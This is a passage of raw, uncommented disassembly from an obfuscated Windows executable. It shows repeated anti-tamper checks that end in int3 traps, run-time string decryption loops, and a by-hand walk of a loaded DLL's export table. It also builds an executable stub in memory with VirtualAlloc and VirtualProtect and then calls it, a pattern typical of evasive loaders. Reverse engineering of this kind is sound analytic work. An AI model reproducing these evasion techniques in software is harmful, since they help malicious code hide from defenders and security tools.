xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140040daf
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140040daf
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140040dcf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x140040e8c
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x20b853c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140040e6c
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140040e6c
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140040e8c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x140040f36
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140040f16
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140040f16
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140040f36
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
call fcn.1400aaf30
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.14004d1dc
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x140041000
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140040fe0
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140040fe0
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140041000
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x1400410aa
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14004108a
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14004108a
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400410aa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x140041154
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140041134
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140041134
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140041154
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x1400411fe
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400411de
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400411de
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400411fe
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x1400412a8
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140041288
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140041288
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400412a8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov qword [rbp + 0xe58], r15
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x14004136c
mov rcx, qword gs:[0x5f]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x20b853c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14004134c
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14004134c
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004136c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, rbx
jne 0x140041416
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400413f6
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400413f6
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140041416
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.14004c774
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x43]
mov r8d, 0xfbab80df
cmp rax, r8
jne 0x1400414ee
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400414ce
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400414ce
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400414ee
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov edi, r15d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x140041801
xor r14d, r14d
mov rax, qword gs:[0x43]
cmp rax, r8
jne 0x1400415a5
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400418c4
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400418c4
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x1400418c4
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.14003c630
mov r15d, eax
mov rcx, qword gs:[0x43]
mov r8d, 0xfbab80df
cmp rcx, r8
jne 0x14004166c
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x110c4ff0
div rcx
mov qword [rbp + 0x1070], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x20b853c
div rcx
mov qword [rbp + 0x1078], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0x1080], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x1400418e4
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x1400418e4
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x1400418e4
test r15d, r15d
jne 0x140041944
mov rax, qword gs:[0x43]
cmp rax, r8
jne 0x140041715
mov rax, qword gs:[0x5f]
movabs rcx, 0xe4d4ec93abfbca11
xor rax, rcx
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0x5f]
xor rax, rcx
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x140041904
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x140041904
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x140041904
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x43]
cmp rax, r8
jne 0x1400417de
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x110c4ff0
div rcx
mov qword [rbp + 0xf60], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x20b853c
div rcx
mov qword [rbp + 0xf68], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf70], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x140041924
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x140041924
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x140041924
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x14004150f
xor r15d, r15d
mov rax, qword gs:[0x43]
cmp rax, r8
jne 0x14004b5e6
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x110c4ff0
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x20b853c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400418a4
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400418a4
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004b5e6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.1400b1ef8
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0xdf751730
mov dword [rbp + 0x214], 0x42392cfc
mov dword [rbp + 0x218], 0xc29879da
mov word [rbp + 0x21c], 0xe0
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x12a982442
movabs r9, 0xf29b9d767
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x1e5373aece
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r12
add r10, 0xd
cmp r9, r11
jb 0x1400419e7
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0x673feca1
mov dword [rbp + 0x84], 0x91da4175
mov word [rbp + 0x88], 0xaa
mov r8, r14
movabs r9, 0xa7f59465b
mov r10d, 9
movabs r11, 0x14feb28cb6
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x80], dil
inc r8
add r9, r12
add r10, 9
cmp r9, r11
jb 0x140041a85
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140041d0e
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140041d0e
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140041d0e
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140041d0e
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140041d0e
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140041b80
inc rax
test edi, edi
jne 0x140041b6b
test r8d, r8d
je 0x140041b92
inc rdx
cmp rdx, rsi
jb 0x140041b5a
jmp 0x140041d0e
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140041d0e
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x140041d0b
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.1400aaf30
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.14004d1dc
lea rcx, [rbp + 0x7420]
call fcn.14004c774
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.14004c774
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x140041c20
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400d49b0
mov dword [0x140101ea4], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x140101ea0]
movsd qword [rdi], xmm0
movzx eax, word [0x140101ea8]
mov word [rdi + 8], ax
mov al, byte [0x140101eaa]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400d5050
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140101ea4], r14d
test edi, edi
js 0x140041d21
jmp 0x140041d0e
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x140041d37
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.14003c0f8
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
mov r15d, 0xfbab80df
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x43]
ja 0x14004b25d
mov ebx, 0x5b964cd9
cmp rax, r15
jne 0x140041dfa
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140041dda
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140041dda
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140041dfa
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
movdqa xmm0, xmmword [0x1400f62e0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400f6040]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0x7ece8d28
mov word [rbp + 0xbc4], 0x23fd
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
movabs rsi, 0x12a982442
lea r10d, [rax + 0x26]
movabs r9, 0x2c529561f2
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xba0], dil
inc r8
add r9, r12
add r10, 0x26
movabs rax, 0x58a52ac3e4
cmp r9, rax
jb 0x140041e5a
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.140001f4c
mov rax, qword gs:[0x43]
movabs rsi, 0xe4d4ec93abfbca11
cmp rax, r15
jne 0x140041f88
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140041f68
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140041f68
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140041f88
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400b1ef8
int3
call fcn.14003c358
mov rcx, qword gs:[0x43]
test al, al
jne 0x14004231c
cmp rcx, r15
jne 0x14004203f
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14004201f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14004201f
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004203f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
movdqa xmm0, xmmword [0x1400f5fc0]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], 0x85
mov r10, r14
movabs rbx, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x13d41a6873
movabs r9, 0x27a834d0e6
movabs r13, 0x12a982442
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x3e0]
xor dil, r10b
mov byte [rbp + r10 + 0x3e0], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140042089
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400f6080]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400f5f80]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
mov r9d, Ordinal_35
movabs r10, 0x24286c641d
movabs r11, 0x4850d8c83a
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xaf8], dil
inc r8
add r10, r12
add r9, 0x1f
cmp r10, r11
jb 0x140042132
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x43]
cmp rax, r15
jne 0x14004226e
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x110c4ff0
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x20b853c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x5f]
xor edx, edx
mov eax, 0x2eeca363
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14004224e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14004224e
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004226e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
mov rax, qword gs:[0x43]
cmp rax, r15
jne 0x14004bbc6
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400422fc
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400422fc
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004bbc6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
cmp rcx, r15
jne 0x1400423bd
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5f]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14004239d
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14004239d
mov rcx, qword gs:[0x5f]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400423bd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400b1ef8
int3
movdqa xmm0, xmmword [0x1400f60d0]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rsi, 0x8080808080808081
movabs rbx, 0x12a982442
movabs r9, 0x12a9824430
lea r10d, [rax + 0x10]
movabs r11, 0x2553048860
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
